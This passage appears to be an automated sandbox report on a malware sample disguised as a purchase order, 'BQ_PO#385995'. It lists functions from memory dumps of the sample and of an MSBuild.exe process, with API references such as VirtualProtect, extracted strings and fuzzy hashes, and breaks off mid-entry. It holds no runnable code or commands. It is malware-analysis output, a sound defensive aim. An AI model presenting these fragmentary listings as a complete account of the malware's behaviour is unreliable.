Instruction Fuzzy Hash: E5719E5695E3C21FE35356700CB60A13FB59E2365070E91FBC6E4CB0E7DA8D580BAB22

Function 00007FFD34483457 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a8943ebade74f1f1598c78ae882edebac29a7532e766776c34e18857c344f1c
Instruction ID: 72c1414e9fad5f036ec8f94a60de019ce919ca2314f57fea1cdc0f9edea18ffa
Opcode Fuzzy Hash: 9a8943ebade74f1f1598c78ae882edebac29a7532e766776c34e18857c344f1c
Instruction Fuzzy Hash: 01517B31B0D64D1FE76E9E788CA61B17BD4EB43320B0582BFD48AC71D7ED19A8468381

Function 00007FFD34471A22 Relevance: 1.6, APIs: 1, Instructions: 143
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD34471B02

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: baacfa5c1d3c195d293b17a7f394e364b9f3d892ac7205b03dc058bf03f8d744
Instruction ID: 623e7ad76773bcf3fa106136312b3a7c590498d43632185a89b19432f43efaf0
Opcode Fuzzy Hash: baacfa5c1d3c195d293b17a7f394e364b9f3d892ac7205b03dc058bf03f8d744
Instruction Fuzzy Hash: 53413A30A0CB888FDB19DBA898566F97FE1EF56321F04426FD049D3292CF686856C791

Function 00007FFD34478065 Relevance: 1.6, APIs: 1, Instructions: 125
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD34486A71

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 31d59ece59e87b482fdc253f4a7a43f2c0950ff7efc1fd4baee2670c8a30004a
Instruction ID: 75cf06f956a3f5ab373ca4a0ca2e7dc4ba4689f9bab9ec3dcf31d9f7832f09db
Opcode Fuzzy Hash: 31d59ece59e87b482fdc253f4a7a43f2c0950ff7efc1fd4baee2670c8a30004a
Instruction Fuzzy Hash: D5310531A0CA4C9FDB18DB98D84A6F9BBE1EB66321F04423FD049D3252CB646856C791

Function 00007FFD34470C61 Relevance: 1.6, APIs: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FFD34470D1F

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 1c11632c78038577e95b4d7439f813f14c0259ef31cd17c37800f818675c73ef
Instruction ID: c20eb97a98807a307eab3ea003df72aa20502d9d5d594129b1adfca110057ca6
Opcode Fuzzy Hash: 1c11632c78038577e95b4d7439f813f14c0259ef31cd17c37800f818675c73ef
Instruction Fuzzy Hash: F831037050D7889EDB26DBA88855AFA7FF4EF53321F0481AFD0C9C3192D6686406CB52

Function 00007FFD3447051A Relevance: 1.6, APIs: 1, Instructions: 112
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD34471B02

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 87792e2ad072d602fafc4e5bd78ba41403eddf07886ed78d62854c72a712d9b4
Instruction ID: 6babd0029ac24eefcc4e1541bf7a3d924664ccf0089f8cbf34a03029931f1b0f
Opcode Fuzzy Hash: 87792e2ad072d602fafc4e5bd78ba41403eddf07886ed78d62854c72a712d9b4
Instruction Fuzzy Hash: 9131B630A08A0C8FDB18DF9DD8456F97BE5FB99711F10423FD04AD3251CB70A8568B81

Function 00007FFD344704DA Relevance: 1.6, APIs: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FFD34470D1F

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 92e0890119c89182809ce1a73d68bc057d3cf037ffcfa1bca5a18d4cd78331a7
Instruction ID: 9eafc0df7262316df120de50b1d69bba8b7ed40a72451ac3845c7d0e34f533c2
Opcode Fuzzy Hash: 92e0890119c89182809ce1a73d68bc057d3cf037ffcfa1bca5a18d4cd78331a7
Instruction Fuzzy Hash: DD218370A08B0C8FDB28DF99D849BFABBE4EB55321F00422ED08AD3551DB74A446CB51

Function 00007FFD344704EA Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

FreeConsole.KERNELBASE ref: 00007FFD34470D1F

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 92e0890119c89182809ce1a73d68bc057d3cf037ffcfa1bca5a18d4cd78331a7
Instruction ID: 9eafc0df7262316df120de50b1d69bba8b7ed40a72451ac3845c7d0e34f533c2
Opcode Fuzzy Hash: 92e0890119c89182809ce1a73d68bc057d3cf037ffcfa1bca5a18d4cd78331a7
Instruction Fuzzy Hash: DD218370A08B0C8FDB28DF99D849BFABBE4EB55321F00422ED08AD3551DB74A446CB51

Function 00007FFD345510C9 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267771969.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34550000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65ddd387faa93a114bc427b3c08a9675bc6252f6b453b533927a21b79b5accb6
Instruction ID: 3c80772954027f79dd687dcf2226d5b36771494470b2fcef200a61a83e11eeff
Opcode Fuzzy Hash: 65ddd387faa93a114bc427b3c08a9675bc6252f6b453b533927a21b79b5accb6
Instruction Fuzzy Hash: 9281D431E0DAC94FEB57EB6888A55B97FE0EF56304B0901FBD08AC7193DA2CA845D741

Function 00007FFD34551210 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267771969.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34550000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e146a1fc13dc05e877e50fbd9060f8dedf9665cd95c2d92a1b3d9c1079a5ab5
Instruction ID: df04f28d8c38b01aecc86134a7ba1b0ed4f03618b3d4d584ed186e5bfb1e651c
Opcode Fuzzy Hash: 0e146a1fc13dc05e877e50fbd9060f8dedf9665cd95c2d92a1b3d9c1079a5ab5
Instruction Fuzzy Hash: 8D31F235E08A4E8FEF96EE18D8A54B87BE0FF55300B1502BAE54BD3595DE29F841C780

Non-executed Functions

Function 00007FFD344721FA Relevance: 9.0, Strings: 7, Instructions: 229COMMON

Download Yara Rule

Strings

@_Q4, xrefs: 00007FFD34472391
X`Q4, xrefs: 00007FFD344723A1
0_Q4, xrefs: 00007FFD34472381
\Q4, xrefs: 00007FFD34472301
"O_^, xrefs: 00007FFD34472201
0^Q4, xrefs: 00007FFD34472341
_Q4, xrefs: 00007FFD34472371

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID: _Q4$"O_^$0^Q4$0_Q4$@_Q4$X`Q4$\Q4
API String ID: 0-3542874247
Opcode ID: ace6569bacf18d7bbafb8f7cf9d198539215dd908262a09b12bf5350152a1883
Instruction ID: 6d1d17044db519c4916f80b16ddad28444b4b2dccb4d68d0d73b3a8e4e74298b
Opcode Fuzzy Hash: ace6569bacf18d7bbafb8f7cf9d198539215dd908262a09b12bf5350152a1883
Instruction Fuzzy Hash: B5612A83A0EAC21BF755867C5CA51B96FC0FB9332471981FBD294CA1DF9C5CA90B9342

Function 00007FFD344721D3 Relevance: 9.0, Strings: 7, Instructions: 225COMMON

Download Yara Rule

Strings

@_Q4, xrefs: 00007FFD34472391
X`Q4, xrefs: 00007FFD344723A1
0_Q4, xrefs: 00007FFD34472381
\Q4, xrefs: 00007FFD34472301
"O_^, xrefs: 00007FFD34472201
0^Q4, xrefs: 00007FFD34472341
_Q4, xrefs: 00007FFD34472371

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID: _Q4$"O_^$0^Q4$0_Q4$@_Q4$X`Q4$\Q4
API String ID: 0-3542874247
Opcode ID: 65ddc3f058366f86d8d0132afda4d41a91a04fd668a84719c41ef90030c13bd1
Instruction ID: 752c77475b8925c66d37093ac1beaa4769030e6625d65ec83ed5d90e75e36220
Opcode Fuzzy Hash: 65ddc3f058366f86d8d0132afda4d41a91a04fd668a84719c41ef90030c13bd1
Instruction Fuzzy Hash: 2561FC83B0E5C21BF751866C6C661E95FC4FF9333471981FBD298C918F584CA94BA392

Function 00007FFD344713B5 Relevance: 5.3, Strings: 4, Instructions: 341COMMON

Download Yara Rule

Strings

(s54, xrefs: 00007FFD34471449
3O_I, xrefs: 00007FFD34471404
s54, xrefs: 00007FFD34471439
0s54, xrefs: 00007FFD34471459

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID: s54$(s54$0s54$3O_I
API String ID: 0-1749449329
Opcode ID: 55dda27c71fa842e2abe986f8c5617d3b1548c3aa39518014ee6fcf0c7b7c443
Instruction ID: 064199dfef5f2fa98f05f5341186651a9f1023d273aff97cc897147d48d06e15
Opcode Fuzzy Hash: 55dda27c71fa842e2abe986f8c5617d3b1548c3aa39518014ee6fcf0c7b7c443
Instruction Fuzzy Hash: 66B15A31A0DA894FEB64DF6898A67F93BD0FF42314F0441BBD44DC7297DA68E8068781

Function 00007FFD344760ED Relevance: .5, Instructions: 487COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57dbdc51101a985817d271f4a536210524c0427cd6dae69e0008db9a0048454b
Instruction ID: 0569d825bfdb3cdf6aab0417a3d243a6971964914dde05f02f7f374587c4effd
Opcode Fuzzy Hash: 57dbdc51101a985817d271f4a536210524c0427cd6dae69e0008db9a0048454b
Instruction Fuzzy Hash: F2E12A43B4E5921BE32166AC7C722F96F95EF4327470881BBD29CCA0E7DC4C684B8395

Function 00007FFD34478F4C Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac9d576425974b2e0420ed39762b986fab4ad192ebadcefbc9bc8bd47be37705
Instruction ID: c3047e210227e9fdf5e8adf7dcbde05ffb0793a88e31f279043004ca4dfe375d
Opcode Fuzzy Hash: ac9d576425974b2e0420ed39762b986fab4ad192ebadcefbc9bc8bd47be37705
Instruction Fuzzy Hash: 6281996698F7C20FE35346704CB65913FB59E2366070F91EBC6D4CB0E7D68D580A9B22

Function 00007FFD3447B28C Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 527518c23ec3ee7ba36dfcc3a550cd1f877529693f69892f1fe50c9953bd2a64
Instruction ID: 5a05389f74594f5fac2eaab4d5588e841d2820fa23ca29c4ce82e249622f1ce2
Opcode Fuzzy Hash: 527518c23ec3ee7ba36dfcc3a550cd1f877529693f69892f1fe50c9953bd2a64
Instruction Fuzzy Hash: 9D61DD5698F3C21FE3138A710CB50957FB59E2365470E91EBC6D4CB0A7DA5D284AE322

Analysis Process: MSBuild.exePID: 6524, Parent PID: 2244COMMON

Executed Functions

Function 01985968 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\VRm, xrefs: 01985C1F

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID: \VRm
API String ID: 0-1931484983
Opcode ID: 421c3a9fc2f23b51db013a3f7cac668127152b6654855b5fcb9d4a35390816fa
Instruction ID: 2b2f25a007d1e91553563dd53109d621f3a41a985cb4d246fb2e24a0e101bc74
Opcode Fuzzy Hash: 421c3a9fc2f23b51db013a3f7cac668127152b6654855b5fcb9d4a35390816fa
Instruction Fuzzy Hash: 3DB15E70E006098FEB10DFA9C88579EBBF6BF88715F158129D819E7294EB749849CF81

Function 0198C090 Relevance: 1.0, Instructions: 990COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f68767e2edd3285c6cf94f726794fa7bd8ec0d13bb6ce486887938735701509
Instruction ID: cc33ce69676eb0ee3642f2b9c03dc910e87b9dba85fe8fef8fe58d91fe7a6347
Opcode Fuzzy Hash: 7f68767e2edd3285c6cf94f726794fa7bd8ec0d13bb6ce486887938735701509
Instruction Fuzzy Hash: F2827171A002199FDB15EF69C884AAEBBF6FF89301F148569E509EB361DB30DD41CB60

Function 0198CE68 Relevance: .9, Instructions: 889COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4806372de5514013f8cd573c88b3e0987b836ce0ec6727e70d3d97bb18512745
Instruction ID: 50e53a7b9fe794b567a465764824d1e115119f793bd9b20738f2fe0a74e1557c
Opcode Fuzzy Hash: 4806372de5514013f8cd573c88b3e0987b836ce0ec6727e70d3d97bb18512745
Instruction Fuzzy Hash: A7824D30A00206DFDB15EFA8C984EAEBBF6FF88315F158559E5099B2A1DB31ED41CB50

Function 01988ED2 Relevance: .7, Instructions: 653COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c404cef6d2c4bc7b82176ceba852bd23a5e6bd33603900e5acbda98635258c0e
Instruction ID: 6f5e30a25b189a70c4eb9900f6788736f21be0302dd455ad3d47513aecf04095
Opcode Fuzzy Hash: c404cef6d2c4bc7b82176ceba852bd23a5e6bd33603900e5acbda98635258c0e
Instruction Fuzzy Hash: F0422B30B002158FDB14BB38D858B6E77B6EFC8305F1185A9D90A9B395EF36AD458F81

Function 01986238 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a7f2ff273d49fe379340faa53503ce0383caa182f0b019368ddd54fa9d4466d
Instruction ID: 281e3e571069778750ff5ba9ccd1a7bb32e98c81e56a07b49baf940c40fb58a7
Opcode Fuzzy Hash: 9a7f2ff273d49fe379340faa53503ce0383caa182f0b019368ddd54fa9d4466d
Instruction Fuzzy Hash: 23B17E70E00209CFDF10DFA9D8857AEBBF2BF88715F148529D819EB294EB749845CB91

Function 01985FB0 Relevance: 2.7, Strings: 2, Instructions: 180COMMON

Download Yara Rule

Strings

\VRm, xrefs: 01986172
\VRm, xrefs: 0198601F

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID: \VRm$\VRm
API String ID: 0-2267279736
Opcode ID: 3409ef11e83b9d4b35c83b7f7774bbe868a72bf8b653a348128f8b16769087ad
Instruction ID: 7829570fb7931fba5131a757e25427a25393a98d81d18efd4f9731f27740b535
Opcode Fuzzy Hash: 3409ef11e83b9d4b35c83b7f7774bbe868a72bf8b653a348128f8b16769087ad
Instruction Fuzzy Hash: DE717C70E002098FEF14DFA9C880B9EBBF6BF88714F148129D419AB255EB749842CF95

Function 01985FA4 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

\VRm, xrefs: 01986172
\VRm, xrefs: 0198601F

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID: \VRm$\VRm
API String ID: 0-2267279736
Opcode ID: c39abfc0782e33f3369a4ec1baa2b05d84296203a65ab8c563c68bfc2c22e421
Instruction ID: 343b852bd4039f6cdb87c81373268da7f8a06d67555e67a456969e754248c47b
Opcode Fuzzy Hash: c39abfc0782e33f3369a4ec1baa2b05d84296203a65ab8c563c68bfc2c22e421
Instruction Fuzzy Hash: 4C717E70E00209CFDB10DFA9C844BDEBBF6BF88714F148129E419AB255DB749842CF95

Function 0198594E Relevance: 1.5, Strings: 1, Instructions: 285COMMON

Download Yara Rule

Strings

\VRm, xrefs: 01985C1F

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID: \VRm
API String ID: 0-1931484983
Opcode ID: e3bb7ff116c9db57684371f1ddc9b9bdceafbb85a1f19d16c5c7b4c0fca502bc
Instruction ID: bc13fea52273036ce970f5abdb844a28f4245491ecbf789af0bd7e9ad5573d20
Opcode Fuzzy Hash: e3bb7ff116c9db57684371f1ddc9b9bdceafbb85a1f19d16c5c7b4c0fca502bc
Instruction Fuzzy Hash: 8FB15C70E006098FEB10DFA8C8857DDBBF5BF88715F158129D819E7254EB749849CF91

Function 01987810 Relevance: 1.5, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

$, xrefs: 01987A04

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-1178188002
Opcode ID: fcdc2698df0227a4144b630574c25701e5fa1eae561efbb5b9499c7875dbbc8b
Instruction ID: b8d687152ae63b250553e4116c3c7386454b54bc4cd2dc97f73339ce41d45887
Opcode Fuzzy Hash: fcdc2698df0227a4144b630574c25701e5fa1eae561efbb5b9499c7875dbbc8b
Instruction Fuzzy Hash: 2D915F346012029FC718EF68E484A2A7BF6FF98724F20866DD9199B365DB70ED41CF50

Function 0198DF30 Relevance: .8, Instructions: 803COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edede532b3d098e00cdea5733b1cc3708f3de4f4adc8a151dadd8fa6c96be8cb
Instruction ID: ab3342163f0e12ba3039bfd00631323793dd19bfef09af4521ec68ff05df7222
Opcode Fuzzy Hash: edede532b3d098e00cdea5733b1cc3708f3de4f4adc8a151dadd8fa6c96be8cb
Instruction Fuzzy Hash: CA621030A00219DFEB559BE8C864B9EBBB6FF89300F1080A9D50AAB355DF359E45CF51

Function 0198DF20 Relevance: .6, Instructions: 572COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a253ff705f77cda409252b0dda04b2705fdc1149df636d7eed8bda5d79e1b30
Instruction ID: 3c808801d121d0f0ef813fafdecd940a4361deb648c6a8fd2977264dd5aecbc6
Opcode Fuzzy Hash: 9a253ff705f77cda409252b0dda04b2705fdc1149df636d7eed8bda5d79e1b30
Instruction Fuzzy Hash: BE42FC30A00219CFEB559BE8C864B9EBB73FB99300F1081A9C60A6B365DF355E85DF51

Function 0198EC70 Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3883eafcd51e0183d064905cfa4035112791467203703486ed7359bd30f917f
Instruction ID: 700b4192b9c50cc996d8ba50f4fe60d558d8dbf3ba079728b17f1ba196bb5f6f
Opcode Fuzzy Hash: f3883eafcd51e0183d064905cfa4035112791467203703486ed7359bd30f917f
Instruction Fuzzy Hash: A0F13C75A00215CFCB15DF6CC8889ADBBF6BF88311B1A8169E519EB362CB75EC41CB50

Function 01982B28 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7caa05b0fbf1f156e4d509742741872924ef163f0197bf741713acd036f7f95f
Instruction ID: fedd5037b697d8db59cc148cc32e03a3df45c48bf3e30bc17fc6e8a6ece6f685
Opcode Fuzzy Hash: 7caa05b0fbf1f156e4d509742741872924ef163f0197bf741713acd036f7f95f
Instruction Fuzzy Hash: D5D17031509390DFD707ABB8D8602EA3FB99F87314B1550EBC185CB2A3DD685C49CBA6

Function 01989A9F Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 769f6502b10823b503e86e833fde61af07ba3d3b2813beabd23778df09f37d47
Instruction ID: c91e6236e3aeb76ca9241a7d21c05ac8ab8cbff211e79c0694c97738cbe71842
Opcode Fuzzy Hash: 769f6502b10823b503e86e833fde61af07ba3d3b2813beabd23778df09f37d47
Instruction Fuzzy Hash: CFE12B34E00209DFDB05EBB8D444ABEBFB6FBC8314F1090A9E909A7356DA75AD41CB51

Function 0198B838 Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 427a754db4adf44e53a0c093895965e166dc221c76a992f2b2b94566a9706312
Instruction ID: 0df08e33eed4a940c5bf324e6e23d07b199f472d9640fa0bff58823fb7a2305e
Opcode Fuzzy Hash: 427a754db4adf44e53a0c093895965e166dc221c76a992f2b2b94566a9706312
Instruction Fuzzy Hash: 9DC1D3317002119FDB25AF68D854A7E7BEABBC9341F188569E90ACB395DF34DC01CBA1

Function 0198CE58 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1278170e4256fc0f764fbd3daf3b49e63486a968776a4ee8942f06e706b98f8b
Instruction ID: 0c91c6b7b7207735a8e16578119a503d95921df79618936c9bb3e3afb37569d9
Opcode Fuzzy Hash: 1278170e4256fc0f764fbd3daf3b49e63486a968776a4ee8942f06e706b98f8b
Instruction Fuzzy Hash: 03C13A30A002099FDB15EFA9C884E9EBFF6FF88315F158559E519AB2A1DB30ED41CB50

Function 0198622D Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f988ffd005785b83ad12a691cd62dabecbff9fcbfde56685cc520068fbc99bb7
Instruction ID: ffca2556e47d3d2f5950bcfe9a920ad2de20a148a44f400438a4178a04fcb795
Opcode Fuzzy Hash: f988ffd005785b83ad12a691cd62dabecbff9fcbfde56685cc520068fbc99bb7
Instruction Fuzzy Hash: 21B16D70E00209CFDB11DFA9D8857DEBBF2BF88715F148129E819EB294EB749845CB91

Function 0198A819 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da6978f49babb19c1639b4b85598dbd4173b419cd344d5d7c7b60a2b70d84695
Instruction ID: a39bb201f4dc2313e664f2f491163b8a0fea2f92fb2d14e790be360025065a37
Opcode Fuzzy Hash: da6978f49babb19c1639b4b85598dbd4173b419cd344d5d7c7b60a2b70d84695
Instruction Fuzzy Hash: C691D630B002049BE724ABBDC95876EBAEBBFC5300F24C42ED51A9B789DE755C45C792

Function 0198201E Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f22a1ffb180bc33943ad4cb54af8a4ad2525b83216b34d9f0f464aeaeedc6808
Instruction ID: e9af69a5dedbbe6e97e95970f3e249a8218e445157646a12cda99f9328add383
